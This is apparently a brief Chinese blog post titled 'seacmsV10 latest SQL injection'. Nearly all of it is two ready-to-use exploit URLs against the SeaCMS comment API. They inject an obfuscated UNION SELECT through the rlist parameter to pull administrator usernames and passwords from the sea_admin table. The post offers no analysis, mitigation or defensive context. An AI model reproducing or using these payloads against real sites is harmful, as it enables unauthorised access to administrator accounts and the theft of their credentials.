seacmsV10最新SQL注入
SQL
爆账号
1 | /comment/api/index.php?gid=1&page=2&rlist[x]=1)//**@`%27`,**@//UNION%20SELECT%23%0a1,name,3,4,5,6,7,8,9,10,11%23%0afrom%23%0asea_admin--%20@`%27` |
爆密码
1 | /comment/api/index.php?gid=1&page=2&rlist[x]=1)//**@`%27`,**@//UNION%20SELECT%23%0a1,password,3,4,5,6,7,8,9,10,11%23%0afrom%23%0asea_admin--%20@`%27` |
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Caps!
评论